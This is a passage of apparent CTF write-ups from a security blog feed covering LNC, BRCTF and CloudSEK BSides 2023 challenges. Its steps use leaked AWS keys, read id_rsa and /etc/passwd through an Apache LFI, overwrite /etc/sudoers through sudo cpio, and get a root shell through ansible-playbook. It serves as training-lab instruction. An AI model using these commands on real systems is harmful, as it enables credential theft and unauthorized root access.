<p>Description: <em>This is the first program that was created in the Dystopian times can you help find the flag inside it?</em></p>
<p>one file is given: simplere</p>
<p>simplere: ELF 64-bit LSB pie executable</p>
<p>open this in Ghidra</p>
<p>we can see flag in side main()</p>
<img width="268" alt="image" src="https://user-images.githubusercontent.com/79740895/232018262-723d7321-8bc6-47dd-b149-d2645c67e656.png">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{s1mpl3_4m_1_r1ghT?}
</span></span></code></pre></div><h2 id="misc">Misc</h2>
<h3 id="hidden-in-plain-sight">Hidden in Plain Sight</h3>
<p>Description: <em>UGH Ansi screwed up again! I wonder what sequence of events lead to this.</em></p>
<p>nc nc.lagncra.sh 8004</p>
<p>connecting to this is not showing anythig so let&rsquo;s try to save this in file.</p>
<img width="247" alt="image" src="https://user-images.githubusercontent.com/79740895/232020790-da910eb6-16cf-4283-9c65-8220a2c03f61.png">
<p>open this file with editor</p>
<img width="242" alt="image" src="https://user-images.githubusercontent.com/79740895/232021141-395e8cbb-aa7b-4f72-8ba6-df3eb2c2348a.png">
<p>There is flag.</p>
<p>less command also works. <code>cat 1.txt |less</code></p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{ans1_c0ntr0l_s3qu3nc3s_damn_c00l}
</span></span></code></pre></div><h3 id="swiftly">Swiftly</h3>
<p>Description: <em>Looks like the message from the military to all remaining survivals have been damaged, find a way to read all the qr code to obtain the flag.</em></p>
<p>attached file: <a href="https://user-images.githubusercontent.com/79740895/232199504-0b1add77-b1c7-44e6-8cf5-b430c433b3d3.gif">Flag.gif</a></p>
<p>to get the flag we have to extract the frames from gif: <code>ffmpeg -i Flag.gif -vsync 0 out%d.png</code></p>
<p>and read the qr from extracted frames: <code>zbarimg out* -q | sed 's/QR-Code://g' | tr '\n' '\0'</code></p>
<img width="260" alt="image" src="https://user-images.githubusercontent.com/79740895/232200271-397f1cea-8a5d-424b-9138-102a5ac0ebe9.png">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{Are_y0u_FaSt_En0ugh_4_th1s}
</span></span></code></pre></div><h2 id="boot-to-root">Boot to root</h2>
<h3 id="pickle-rick">Pickle Rick</h3>
<p>Description: <em>Rick has turned himself into a pickle, can you find him before its too late&hellip;</em></p>
<p>Download: <a href="https://drive.google.com/file/d/1ZULGK4p7cJQHNabmDHdtki-g1xNfHu0f/view?usp=share_link">https://drive.google.com/file/d/1ZULGK4p7cJQHNabmDHdtki-g1xNfHu0f/view?usp=share_link</a></p>
<p><em>7z Password: &amp;y9PBYf8gZ^996s9</em></p>
<p>After unzip we have pickle-shop.ova file we can use VMWare to run this machine but if we only want to see the file system we can do
that with tools like 7z.</p>
<p>right click on pickle-shop.ova and open with 7z as archive</p>
 <img width="471" alt="image" src="https://user-images.githubusercontent.com/79740895/232049128-950a28f4-2c9c-48e3-8d92-8d3a8a69931c.png">
<p>after looking many files we found aws credentials <code>pickle-shop.ova\pickle-shop-disk1.vmdk\2.img\root\.aws\credentials</code></p>
 <img width="443" alt="image" src="https://user-images.githubusercontent.com/79740895/232049998-89d097e0-c768-4f8d-b709-dddcfb4dc9cb.png">
<p>we found following credentials:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">aws_access_key_id = AKIAZNKM5ODGICECDW5U
</span></span><span class="line"><span class="cl">aws_secret_access_key = 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
</span></span></code></pre></div><p>configure awscli with these credentials: <code>aws configure</code></p>
<img width="413" alt="image" src="https://user-images.githubusercontent.com/79740895/232050623-7a6151b3-7a61-47c3-9c26-6e1317c03c37.png">
<p>Let&rsquo;s check for s3 buckets: <code>aws s3 ls</code></p>
<img width="229" alt="image" src="https://user-images.githubusercontent.com/79740895/232050882-fdb89b1a-1887-4fab-b3c7-9863cbfa81a9.png">
<p>download the s3 bucket: <code>aws s3 sync s3://lnc-pickle-shop .</code></p>
<img width="282" alt="image" src="https://user-images.githubusercontent.com/79740895/232051377-7a2e3e49-2503-4429-a2f7-04f4cc457ecc.png">
<p>flag is in this bucket</p>
<img width="158" alt="image" src="https://user-images.githubusercontent.com/79740895/232051469-3bae4a11-bf47-4060-bce1-b98c8f0d1186.png">
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">flag: LNC2023{1m_p1ckl3_r1111ck}
</span></span></code></pre></div><p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>BRCTF CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/brctf-2023/</link>
      <pubDate>Fri, 15 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/brctf-2023/</guid>
      <description>Write-ups for the BRCTF CTF 2023 challenges.</description>
      <content:encoded><![CDATA[<hr>
<p>CTF URL: <a href="https://bctf.africa/">https://bctf.africa/</a></p>
<p>In this CTF we are given target machines</p>
<h3 id="apache">apache</h3>
<p>port 80 is open</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/brctf-2023/md/29b257f2-f236-4076-ad40-7d3e204862cc.webp"></p>
<p>from the response header we notice that it is running on <code>Apache/2.4.49</code> version and by googling we know that it is <a href="https://www.exploit-db.com/exploits/50383">vulnerable to LFI</a></p>
<p>using the <a href="https://www.exploit-db.com/exploits/50383">exploite</a> we can get the <code>id_rsa</code> file</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">bash apache_PoC.txt targets.txt /home/BRCTF/.ssh/id_rsa &gt; id_rsa
</span></span></code></pre></div><p>now using this key file we can login to ssh</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">ssh BRCTF@10.0.13.0 -i .\id_rsa
</span></span></code></pre></div><p>to know the username <code>BRCTF</code> we read the <code>/etc/passwd</code> file using the same exploite</p>
<p>we are able to login and we can use <code>cpio</code> with sudo without password</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/brctf-2023/md/035a6044-63df-4077-8d65-0d9b4436ec7f.webp"></p>
<p>we can use cpio to change the <code>/etc/sudoers</code> file so we can run any binary with sudo without password</p>
<p>we can use the following commands to read the current <code>sudoers</code> file</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">echo &#34;/etc/sudoers&#34; &gt; namelist
</span></span><span class="line"><span class="cl">sudo cpio -o &lt; namelist &gt; archive
</span></span><span class="line"><span class="cl">cat archive
</span></span></code></pre></div><p>it will save the files in namelist to archive</p>
<p>now we have to add <code>BRCTF ALL=NOPASSWD: ALL</code> in sudoers file</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">echo &#34;RGVmYXVsdHMgICBlbnZfcmVzZXQNCkRlZmF1bHRzICAgbWFpbF9iYWRwYXNzDQpEZWZhdWx0cyAgIHNlY3VyZV9wYXRoPSIvdXNyL2xvY2FsL3NiaW46L3Vzci9sb2NhbC9iaW46L3Vzci9zYmluOi91c3IvYmluOi9zYmluOi9iaW4iDQoNCiMgSG9zdCBhbGlhcyBzcGVjaWZpY2F0aW9uDQoNCiMgVXNlciBhbGlhcyBzcGVjaWZpY2F0aW9uDQoNCiMgQ21uZCBhbGlhcyBzcGVjaWZpY2F0aW9uDQoNCiMgVXNlciBwcml2aWxlZ2Ugc3BlY2lmaWNhdGlvbg0Kcm9vdCAgQUxMPShBTEw6QUxMKSBBTEwNCkJSQ1RGIEFMTD1OT1BBU1NXRDogQUxMDQoNCiMgQWxsb3cgbWVtYmVycyBvZiBncm91cCBzdWRvIHRvIGV4ZWN1dGUgYW55IGNvbW1hbmQNCiVzdWRvIEFMTD0oQUxMOkFMTCkgQUxMDQoNCiMgU2VlIHN1ZG9lcnMoNSkgZm9yIG1vcmUgaW5mb3JtYXRpb24gb24gIkBpbmNsdWRlIiBkaXJlY3RpdmVzOg0KDQpAaW5jbHVkZWRpciAvZXRjL3N1ZG9lcnMuZA==&#34; | base64 -d &gt; sudoers
</span></span><span class="line"><span class="cl">echo sudoers &gt; namelist
</span></span><span class="line"><span class="cl">sudo cpio --no-preserve-owner -p /etc &lt; namelist
</span></span></code></pre></div><p>this base64 content is our modified file and we save it in current directory<br>
<code>--no-preserve-owner</code> : Do not change the ownership of the files<br>
It will save our modified file in /etc folder overwriting the existing one and without changing the file ownership or it will create error</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/brctf-2023/md/30d1a28a-3078-45da-8abd-149d99cfbac6.webp"></p>
<p>now we are root</p>
<br>
<h3 id="grafana">grafana</h3>
<p>port 3000 is open</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/brctf-2023/md/7265c220-8c42-4880-a483-714968a82d3a.webp"></p>
<p>it running grafana v8.2.6 and it is <a href="https://github.com/jas502n/Grafana-CVE-2021-43798">vulnerable</a> to LFI<br>
just like privious challange we read the <code>/home/BRCTF/.ssh/id_rsa</code> file and connect to ssh</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/brctf-2023/md/fbc82bb8-82dc-43ce-becc-87e77c82feaa.webp"></p>
<p>we can now connect to ssh</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">ssh BRCTF@10.0.13.9 -i .\id_rsa.txt
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/brctf-2023/md/626b6143-5fef-447e-aa23-264fd5002cf2.webp"></p>
<p>we use <a href="https://gtfobins.github.io/gtfobins/ansible-playbook/#sudo">https://gtfobins.github.io/gtfobins/ansible-playbook/#sudo</a> payload to get root</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">TF=$(mktemp)
</span></span><span class="line"><span class="cl">echo &#39;[{hosts: localhost, tasks: [shell: /bin/sh &lt;/dev/tty &gt;/dev/tty 2&gt;/dev/tty]}]&#39; &gt;$TF
</span></span><span class="line"><span class="cl">sudo ansible-playbook $TF
</span></span></code></pre></div><p><img alt="image" loading="lazy" src="/writeups/ctf/brctf-2023/md/0d5ff1cc-cc32-4a21-be83-e8b869dc698d.webp"></p>
<p>Happy Hacking</p>
<hr>
]]></content:encoded>
    </item>
    <item>
      <title>CloudSEK - BSides Cyber Security CTF 2023</title>
      <link>https://aftabsama.com/writeups/ctf/cloudsek-bsides-2023/</link>
      <pubDate>Fri, 15 Dec 2023 00:00:00 +0000</pubDate>
      <guid>https://aftabsama.com/writeups/ctf/cloudsek-bsides-2023/</guid>
      <description>Write-ups for the CloudSEK - BSides Cyber Security CTF 2023.</description>
      <content:encoded><![CDATA[<hr>
<blockquote>
<p>ClouSEK&rsquo;s CTF challenge during BSides 2023</p></blockquote>
<h3 id="the-automater">The Automater</h3>
<p>Points: 100</p>
<ul>
<li>Automate Your Way to Get the Flag</li>
<li>PS: No Bruteforcing is required</li>
<li>This Challange does not require you to access any other Port</li>
<li><code>nc 43.204.152.119 1337</code></li>
</ul>
<p>When connecting to the server we are given with double encoded text Hex &gt; Base64 and we have to submit the Hex &gt; Base64 decoded text in the input but doing so it keep asking for new decode text.</p>
<p><img alt="image" loading="lazy" src="/writeups/ctf/cloudsek-bsides-2023/md/d45774ac-dc89-4ad8-9e5d-e62fb93f8727.webp"></p>
<p>Looking at the challenge category (<code>Scripting</code>), we can figure out that this process requires automation with the use of any scripting language. I&rsquo;m am using Python here.</p>
<p>Python code:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">unhex</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">&#39;43.204.152.119&#39;</span><span class="p">,</span> <span class="mi">1337</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\t</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">unhex</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="n">b64d</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">102</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">conn</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="n">conn</span><span class="o">.</span><span class="n">recvline</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">.</span><span class="n">decode</span><span class="p">()</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\t</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">1</span><span class="p">]</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="n">unhex</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">a</span> <span class="o">=</span> <span class="n">b64d</span><span class="p">(</span><span class="n">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">except</span> <span class="ne">IndexError</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">pass</span>
</span></span><span class="line"><span class="cl">    <span class="c1"># print(a)</span>
</span></span><span class="line"><span class="cl">    <span class="k">pass</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># n=101 ; flag: CloudSEK{au30ma3i0n_1s_fun}</span>
</span></span><span class="line"><span class="cl"><span class="n">conn</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">D:</span><span class="p">\</span><span class="n">GitHub</span><span class="p">\</span><span class="n">ctf</span><span class="p">&gt;</span> <span class="n">python</span> <span class="p">.\</span><span class="mf">1</span><span class="p">.</span><span class="py">py</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">x</span><span class="p">]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">on</span> <span class="n">port</span> <span class="mf">1337</span>
</span></span><span class="line"><span class="cl"><span class="p">[</span><span class="no">x</span><span class="p">]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">on</span> <span class="n">port</span> <span class="mf">1337</span><span class="err">:</span> <span class="n">Trying</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span>
</span></span><span class="line"><span class="cl"><span class="p">[+]</span> <span class="n">Opening</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">on</span> <span class="n">port</span> <span class="mf">1337</span><span class="err">:</span> <span class="n">Done</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;What does this mean:\t53485a75634555315231704d563370744d4467304f566c70593356445a6d744b6557466e5a45517855584a6f4d6c5a4f4e6d56436445395362464e7a4e3031764d315634596c52785745744755456c33616b453d\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;HvnpE5GZLWzm0849YicuCfkJyagdD1Qrh2VN6eBtORlSs7Mo3UxbTqXKFPIwjA&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; What does this mean:\t614456444e32777a5957564b5a6a5236646b56694d464a4c5933426e57556c7056557878636b3150516c704256465a7a5a456379555852766256644f626b5a3465545a31616d733464316849553052514f54453d\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mf">99</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; What does this mean:\t526b6b7963576449536e6869646e527562565a56517a56704d564650516d464657484a735445316c656e6c7a616b3577563259324f57396b52464e514e30733056466c6a556a677a61444233576b46486457733d\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mf">100</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; What does this mean:\t4e464e5857485645565531504e6a6c79646b786c4d54565a63464651655852424d305a445a324a3653325a466232357153465a336332317363576c61595868485931524f4d6a426f556a6334536d52435357733d\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="mf">101</span>
</span></span><span class="line"><span class="cl"><span class="n">b</span><span class="s1">&#39;&gt; CloudSEK{au30ma3i0n_1s_fun}\n&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">list</span> <span class="n">index</span> <span class="n">out</span> <span class="n">of</span> <span class="n">range</span>
</span></span><span class="line"><span class="cl"><span class="p">[*]</span> <span class="n">Closed</span> <span class="n">connection</span> <span class="n">to</span> <span class="mf">43.204</span><span class="p">.</span><span class="py">152</span><span class="p">.</span><span class="py">119</span> <span class="n">port</span> <span class="mf">1337</span>
</span></span><span class="line"><span class="cl"><span class="nb">PS </span><span class="n">D:</span><span class="p">\</span><span class="n">GitHub</span><span class="p">\</span><span class="n">ctf</span><span class="p">&gt;</span>
</span></span></code></pre></div><p>Flag: <code>CloudSEK{au30ma3i0n_1s_fun}</code></p>
<br>
<h3 id="illusive-mind-with-illusive-thoughts">Illusive Mind with Illusive Thoughts</h3>
<p>Points: 100</p>
<ul>
<li>On 1st October, Our Underground Intelligence Team observed a post at the Dark Web, where an hacker claiming to have whole Database dump of the CSP Bank [Central Public Bank] and was selling it for $5000.</li>
<li>Soon our security research team started digging further to find out the root cause of this leak, as CSP Bank’s web assets scope were limited and properly secured, we didn’t find anything. Then our team indexed all the apps belongs to the CSP Bank at <a href="https://bevigil.com/">Bevigil</a> (World’s first security engine for mobile apps) and started performing their research.</li>
<li>Later they came to know that <a href="https://bevigil.com/osint-api?query=com.intl.cspbank&amp;criteria=package">CSP Bank</a> Firebase database were misconfigured i.e open to the public through one can get the sensitive information to chain it further.</li>
<li>Moving further, our team checks the other app of the company and noticed something suspicious at the “Unknown High Entropy String” rule of the Bevigil which gave the credentials of the DB through which we accessed the Database having Admin Privilege.</li>
<li>Soon, we documented the detailed research &amp; notified to the compromised company about this incident.</li>
<li>Flag format: Once you get it, you would know it.</li>
<li>Note: Some apps of the CSP bank has been deindexed, so one has to find out a way to reach the other apps.</li>
<li><a href="https://bevigil.com/osint-api">https://bevigil.com/osint-api</a></li>
<li>Hint
<ul>
<li>You can search for all the URL present inside a Package on the Bevigil Asset Explorer</li>
<li>Bevigil Asset Explorer: <a href="https://bevigil.com/osint-api?query=com.intl.cspbank&amp;criteria=package">https://bevigil.com/osint-api?query=com.intl.cspbank&amp;criteria=package</a></li>
</ul>
</li>
</ul>
<p>We can use <a href="https://bevigil.com/">https://bevigil.com/</a> and search for <code>CSP Bank</code>, we get this result <a href="https://bevigil.com/report/com.intl.cspbank?section=assets">https://bevigil.com/report/com.intl.cspbank?section=assets</a></p>
<p>In this section under ASSETS we see <code>Firebase URL</code> Rule<br>
Here we see that it is exposed in <code>com.intl.cspbank/source/sources/com/intl/cspbank/constants.java</code> <a href="https://bevigil.com/src/com.intl.cspbank/source%2Fsources%2Fcom%2Fintl%2Fcspbank%2Fconstants.java">file</a></p>
<p>Firebase URL is: <code>https://csp-bank-default-rtdb.firebaseio.com</code></p>
<p>From the description we know that this Firebase database is misconfigured and open to the public so we try to access the database by visiting <code>\.json</code> file on url</p>
<p><code>https://csp-bank-default-rtdb.firebaseio.com/.json</code></p>
<p>we are able to see the database content.<br>
In this file we see one entry on index 45, line 317</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-json" data-lang="json"><span class="line"><span class="cl"><span class="s2">&#34;45&#34;</span><span class="err">:</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;Account Name&#34;</span><span class="p">:</span> <span class="s2">&#34;Central Public Bank&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;DB_URL&#34;</span><span class="p">:</span> <span class="s2">&#34;https://mysql_db.cspbank.com&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="nt">&#34;ID&#34;</span><span class="p">:</span> <span class="s2">&#34;Y29tLmludGwuY3NwY2FyZA==&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><p>In this the value &ldquo;ID&rdquo; is base64 encoded, by base64 decoding this we get <code>com.intl.cspcard</code></p>
<p><code>cspcard</code> is new app name so we search this on <a href="https://bevigil.com/">https://bevigil.com/</a> and we get this <a href="https://bevigil.com/report/com.intl.cspcard?section=strings">https://bevigil.com/report/com.intl.cspcard?section=strings</a></p>
<p>There is one &ldquo;Unknown High Entropy String&rdquo; rule in this report and it is also mentioned in description of challenge.</p>
<p>It is exposed in <code>com.intl.cspcard/source/sources/com/intl/cspcard/sec_data.java</code> this <a href="https://bevigil.com/src/com.intl.cspcard/source%2Fsources%2Fcom%2Fintl%2Fcspcard%2Fsec_data.java">file</a></p>
<p>when we analyze this file we get <code>the_key</code> string which is long hex.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">private</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">the_key</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;D8 FF 20 FF 20 E0 20 00 20 10 20 42 20 46 20 21 20 11 20 00 20 01 20 00 20 48 20 6E 20 27 20 5F 20 2E 20 5F 20 2E 20 73 20 6F 20 6D 20 65 20 52 20 61 20 6E 20 64 20 6F 20 6D 20 43 20 68 20 61 20 72 20 61 20 63 20 74 20 65 20 72 20 73 20 2E 20 5F 20 2E 20 5F 20 0A 44 0A 20 6F 6F 6E 20 74 74 73 72 6F 20 65 61 68 64 72 6F 63 65 64 2F 64 6E 65 6F 63 65 64 20 64 72 63 64 65 6E 65 69 74 6C 61 20 73 6E 69 74 20 65 68 63 20 64 6F 2E 65 20 0A 43 0A 6E 6F 72 67 74 61 2C 73 59 20 75 6F 6D 20 64 61 20 65 74 69 20 2E 65 48 65 72 69 20 20 73 6F 79 72 75 66 20 61 6C 21 67 43 0A 6F 6C 64 75 45 53 5F 4B 65 42 69 56 69 67 2D 6C 64 7B 5F 62 64 61 69 6D 3A 6E 64 61 69 6D 40 6E 38 39 7D 37 0A 0A 43 2D 6F 6C 64 75 45 53 20 4B 65 53 75 63 69 72 79 74 54 20 61 65 0A 6D 5F 20 2E 20 5F 20 2E 20 73 20 6F 20 6D 20 65 20 52 20 61 20 6E 20 64 20 6F 20 6D 20 43 20 68 20 61 20 72 20 61 20 63 20 74 20 D8 20 FF 20 E0 20 FF 20 10 48 69 6E 74 2D 4A 46 49 46 20 D8 20 FF 20 E0&#34;</span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><p>Decoding this from hex we get somthing like this:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">D
</span></span><span class="line"><span class="cl"> oon ttsro eahdroced/dneoced drcdeneitla snit ehc do.e
</span></span><span class="line"><span class="cl">C
</span></span><span class="line"><span class="cl">norgta,sY uom da eti .eHeri  soyruf al!gC
</span></span><span class="line"><span class="cl">olduES_KeBiVig-ld{_bdaim:ndaim@n89}7
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">C-olduES KeSucirytT ae
</span></span></code></pre></div><p>if we look carefully we realize that every 2 characters are swaped we can use python to get the message</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="s2">&#34;&#34;&#34;D
</span></span></span><span class="line"><span class="cl"><span class="s2"> oon ttsro eahdroced/dneoced drcdeneitla snit ehc do.e
</span></span></span><span class="line"><span class="cl"><span class="s2">C
</span></span></span><span class="line"><span class="cl"><span class="s2">norgta,sY uom da eti .eHeri  soyruf al!gC
</span></span></span><span class="line"><span class="cl"><span class="s2">olduES_KeBiVig-ld{_bdaim:ndaim@n89}7
</span></span></span><span class="line"><span class="cl"><span class="s2">
</span></span></span><span class="line"><span class="cl"><span class="s2">C-olduES KeSucirytT ae&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">a</span><span class="p">),</span> <span class="mi">2</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">],</span><span class="n">a</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="n">sep</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span></code></pre></div><p>Output:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">Do not store hardcoded/encoded credentials in the code.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Congrats, You made it. Here is your flag!
</span></span><span class="line"><span class="cl">CloudSEK_BeVigil-<span class="o">{</span>db_admin:admin@987<span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">-CloudSEK Security Tea
</span></span></code></pre></div><p>Flag: <code>CloudSEK_BeVigil-{db_admin:admin@987}</code></p>
<br>
<h3 id="hack-the-wires">Hack the Wires</h3>
<p>Points: 100</p>
<ul>
<li>Recently, we got an email from an anonymous person reporting that a Hacker has setted a proxy for Bevigil which allows anyone from the internet to use Bevigil for Free and Unlimited. He might has Stolen a session cookie from our internal CloudSters and used that in the proxy. We blindly can’t expire all the session’s cookies for user experience, so we need to figure out the Particular session cookie and expire that only.</li>
<li>The anonymous person has also shared an android application naming Bevigil for Free and Unlimited hosted at BeVigil where an attacker has stored the Proxy URL in the app’s assets [IPs, URLs, Hostnames, etc] &amp; his details for publicity stunt.</li>
<li>Could you help us to find out the same cookie so that we can revoke it as soon as possible!!</li>
<li><a href="https://bevigil.com/report/com.intl.bevigilunlimited">https://bevigil.com/report/com.intl.bevigilunlimited</a></li>
</ul>
<p>In <a href="https://bevigil.com/report/com.intl.bevigilunlimited">this</a> report after looking in assets we get <a href="https://bevigil.com/src/com.intl.bevigilunlimited/source%2Fresources%2Fres%2Fvalues%2Fstrings.xml">this file</a> <code>com.intl.bevigilunlimited/source/resources/res/values/strings.xml</code> which contains the proxy URL</p>
<p>In this xml file we get this url:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="nt">&lt;string</span> <span class="na">name=</span><span class="s">&#34;proxyUrlBackup&#34;</span><span class="nt">&gt;</span>https://webctf.cloudsek.com/hack-in-the-wires<span class="nt">&lt;/string&gt;</span>
</span></span></code></pre></div><p>In the source code of this given url we get the following comment:</p>
